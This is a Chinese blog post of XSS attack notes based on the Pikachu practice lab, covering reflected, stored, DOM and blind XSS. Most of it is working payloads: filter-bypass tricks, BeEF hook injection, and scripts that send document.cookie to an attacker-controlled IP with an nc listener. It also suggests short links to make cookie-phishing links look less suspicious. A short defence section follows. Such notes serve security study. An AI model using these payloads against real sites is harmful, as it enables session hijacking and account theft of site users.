XSS跨站脚本攻击漏洞(1)

XSS漏洞介绍:
xss攻击的目录就是让前端把我们的攻击代码执行
跨站攻击   全都是前端的  只需要右击查看源代码就可以查看到漏洞了
测试漏洞方式:弹窗测试(测试成功以后具体功能实现的xss代码有很多免费的xss平台 可以直接使用)
弹窗基本代码:
<script>alert(1)</script>
在输入框输入代码提交以后如果出现弹窗说明存在xss漏洞。此时提交成功可以右键在网页源代码里面看到自己提交上去的js代码
因为本身存储框,留言板这种就会在数据库存储你提交的信息,所以你插入的恶意代码只要可以被识别也一样会插入到数据库里面。这样每次进入网站都可以触发恶意代码
在前端世界里,html,css,js代码如果被正确执行,就没有办法在前端被人看到,只能在代码部分看到
XSS奇淫巧技
<script/haha>
  alert(1)
</script>
<script
>
  alert(1)
</script>
<scr\x00ipt>
  alert(1)
</scr\x00ipt>
<i[%00]mg οnerrοr="alert(1)" src="" />
<img/οnerrοr=alert(1) src="" />
类型1:Stored存储型XSS
特征:留言板/输入框的类型  持久有效
xss漏洞防御绕过:
情况1:script标签过滤  匹配<script>标签然后干掉
绕过方法1:双写绕过
<scr<script>ipt>alert(1)</script>
绕过方法2:图片标签 当图片加载不出来会触发onerror
<img src=x οnerrοr='alert(1)'/>
绕过方法3:输入框有很多 未必要在内容那个部分插入js代码 也可以尝试其他的输入框 长度限制可以用burp或者前端直接绕过限制
绕过方式4:诱导点击  html的标签诱导其他用户点击然后触发js恶意代码
<h1 οnclick='alert(1)'>click me</h1>
绕过方式5:鼠标浮过触发
<h1 οnmοuseοver='alert(1)'>click me</h1>
xss代码来源:
1.百度上的免费XSS生成监听平台
2.kali内自带的XSS生成工具beef  kali旧版本
cd /usr/share/beef-xss/
ls
./beef   //运行beef
攻击代码:
http://192.168.43.28:3000/hook.js

xss代码提交使用方式:
<script src='http://192.168.43.28:3000/hook.hs'></script>

控制台:
http://192.168.43.28:3000/ui/panel   //用户名和密码默认都是beef
XSS跨站脚本攻击漏洞
1.反射型XSS (GET和POST)
2.反射型xss窃取cookie(文件窃取cookie/netcat工具)
3.存储型xss
4.DOM型xss
5.DOM型xss-x
6.XSS之盲打
7.xss之过滤(绕过)
8.HtmlSpecialchars绕过
9.xss之href过滤与输出
10.xss之js过滤与输出
1.(Get型)反射型XSS(一次性的)
测试站点是否有xss漏洞。
payload其中之一(可以在其他XSS平台根据需要构建更多的XSS payload代码)
(如果输入长度受限制,可以右键检查,在前端修改maxlength更大即可破除输入长度限制)
<script>alert('1')</script>
先构造语句,如果有回显说明存在漏洞,则可以替换其为xss网站生成的代码,从而进行利用
2.(Post型)反射型XSS (一次性的)
post型的特点在于多使用 表单的形式提交。通过burpSuite可以查看到具体情况。其他操作和get型是一致的。
只不过post型提交的参数不会在网页的url上显示出来。
3.存储型XSS(特点:持久有效)  Stored Cross Site Scripting (XSS)存储型跨站脚本攻击
如果可以让网页蹦出alert的内容,说明可以让网页执行js代码,所以可以让js做坏事。
大多数是 输入框/留言板的形式。
测试:如果没有做过滤,则在留言板输入的xss测试代码,在每次运行网页的时候都会执行一次。
提交成功后前端界面没有显示,说明代码被执行了。
此时script已经插入了网页服务器数据库中,以后所有用户访问网站都会执行这个js代码
js的代码可以执行的功能非常多 所以危害很大
甚至可以截获cookie 之后就可以免密码登录相应账号
eg:斗鱼直播的弹幕中存在xss代码 一瞬间所有看直播的人的信息都可以被截获
4.Dom型XSS(一次性的)(也属于反射型)
特点:Dom型本质也是反射型XSS,但是它 并不会和后端进行交互(类似于pikachu靶场关闭相关环境phpstudy后仍然可以操作)
根据前端回显的代码,考虑javascript执行的流程,然后再看字符串是否有过滤,然后考虑如何闭合从而产生xss效果。
pikachu的两个dom型的payload,   替换原输入文本中的str即可查看是否弹窗1
‘οnclick="alert(1)"
Ps: 默认火狐是不执行XSS的,因为火狐会把URL上的字符串执行编码。 在IE里面默认是不编码的,但是要关闭XSS过滤器方可执行
5(补).反射型XSS窃取Cookie
1.文件窃取Cookie
存在反射型XSS漏洞的站点位置,可以利用以下链接来盗取Cookie
​<script> var img=document.createElment("img");img.src="http://ip:port/a?"+escape(document.cookie);</script>
​<script>document.location='http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' +document.cookie;</script>
<script>document.location='http://192.168.37.134:8080/a?cookie=' +document.cookie;</script>   //重定向到一个可信的网站(192.168.37.134:8080自定虚拟机ip及其开放端口)
2.Netcat工具(学习可以百度 nc使用 具体学习)
第一步: 首先进入虚拟机,用nc工具监听相应端口
nc -lvvp 8080
第二步:通过网页的执行·,带上其cookie重定向到相应设定的网址
​<script>document.location='http://192.168.37.134:8080/a?cookie=' +document.cookie;</script>   //重定向到一个可信的网站(192.168.37.134:8080自定虚拟机ip及其开放端口)
此时在相应的界面可以查看到监听的结果(类似于burpsuite抓包,此时还没有放包)
Ps:如果通过链接进行Cookie钓鱼的时候,可以通过短链接(985短链接)的方式,避免因为链接过长而导致用户怀疑而失败
6.XSS之盲打
不论三七二十一。就直接往网页中插入各种XSS代码,然后等待惊喜。由于是后端,如果管理员安全考虑不严格就会被getcookie
常用盲打代码
​<script>document.location='http://192.168.37.134:8080/a?cookie=' +document.cookie;</script>   //重定向到一个可信的网站(192.168.37.134:8080自定虚拟机ip及其开放端口)
<script>alert('1')</script>
7.XSS之过滤(绕过)
1.前端输入长度限制绕过:可以直接抓包重放,或者修改前端HTML输入长度限制代码 
2.大小写绕过(可能仅过滤了小写): <SCript>Alert('1')</scRIPT>
前端代码是不识别script标签大小写的
haha<scRiPt>alert(1)</sCRipt>
3.双写绕过(将单词变成空格时):<scri<script>pt>alert('1')</scri</script>pt> 
haha<script>alert('nihao')</script>
防范:替换了<script>为空   转义了' "  
思路:替换了标签,但是没有说替换了几次script标签
haha<scr<script>ipt>alert(1)</script>
4.使用注释符干扰:
<scri<!--test-这行代码是S山->pt>alert('11')</scr<!--test-->ript>
    (本质是在script中间插入了注释,避免被和谐)
但是要注意使用编码的时候要注意编码在输出点能被正常的识别和翻译。一般来说 HTML实体编码比较好。
5. 图片无法加载也可以触发js
<img src='x' onerror='alert(1)'/>
配合burpsuite神器抓包修改使用
8.Htmlspecialchars绕过
htmlspecialchars函数本质就是把>和<转换为实体,常用于防止浏览器将其作为html实体,是一种过滤的手段
htmlspecialchars()对预定义的函数转换为HTML实体。 htmlspecialchars()默认不会对 单引号进行处理的,当输出点比较特殊的时候, 仍然存在XSS危险。
pikachu靶场上的题目可以结合网页判断闭合
' onclick='alert(111)' 
1.ENT_COMAPAT:默认,对引号仅编码双引号
 2.ENT_QUOTES: 编码双引号和单引号 
3.ENT_NOQUOTES:不编码任何引号。
9.XSS之href过滤与 输出
javascript:alert('111')
网页中自己会把用户输入的内容作为url进行跳转。从而可以执行xss漏洞代码
防御方法:只允许http和https开头的协议输入进去
10.XSS之js过滤 输出
'</script><script>alert('xxs')</script>
在js的输入点用\对特殊字符进行过滤
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------
跨站脚本漏洞测试的流程 
1.在目标站点上寻找输入点,搜索框,留言板等 
2.输入恶意代码,查看源码,看是否有对应的转译处理。
3.根据源码构造闭合。如果网页存在过滤,则想办法构造闭合,绕过其过滤
4.根据构造的脚本代码,看是否能成功执行,如果成功执行则说明存 在XSS漏洞。 
此外:搜索框容易出现反射型XSS,留言框容易出现存储型XSS 当后台存在过滤措施的时候,我们需要变换不同的script,来尝试绕 过后台的限制
XSS防范: 
输入做过滤,输出做转移
 1.根据业务的需求做过滤,譬如时间、手机号、邮箱 
2.对输出到前端的数据都进行转义,输出到html的做 html实体转义,输入到JS的做 JS转义。
  • 2
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
跨站脚本攻击(Cross-Site Scripting,XSS)是一种常见的网络安全漏洞,攻击者利用这个漏洞向网站中注入恶意代码,并在用户浏览器上执行。这种攻击通常发生在存在输入输出的网页应用程序中。 XSS攻击主要分为三种类型: 1. 存储型XSS:攻击者将恶意代码存储在目标网站的数据库中,当其他用户访问该网站时,恶意代码被返回并在用户浏览器中执行。 2. 反射型XSS:攻击者构造一个包含恶意代码的URL,并将其发送给目标用户。用户点击链接后,恶意代码从URL中获取并在用户浏览器上执行。 3. DOM-based XSS:攻击者通过修改网页的DOM结构来执行恶意代码,不需要向服务器发送请求。这种类型的XSS攻击主要基于客户端脚本和DOM文档对象模型。 为了防止XSS攻击,开发人员可以采取以下几种措施: 1. 输入验证和过滤:对用户输入的数据进行验证和过滤,确保不允许包含恶意代码。 2. 输出编码:在将数据输出到网页上时,使用适当的编码方式(如HTML实体编码或JavaScript转义)来防止恶意代码的执行。 3. 使用安全的API:避免使用不安全的API,特别是将用户输入作为参数的API。例如,使用textContent替代innerHTML可以防止XSS攻击。 4. 设置HTTP头部:通过设置X-XSS-Protection和Content-Security-Policy头部,可以进一步加强网站的安全性。 请注意,这只是一些常见的防御措施,具体的应对措施还需要根据实际情况和开发框架来确定。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Simon_Smith

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值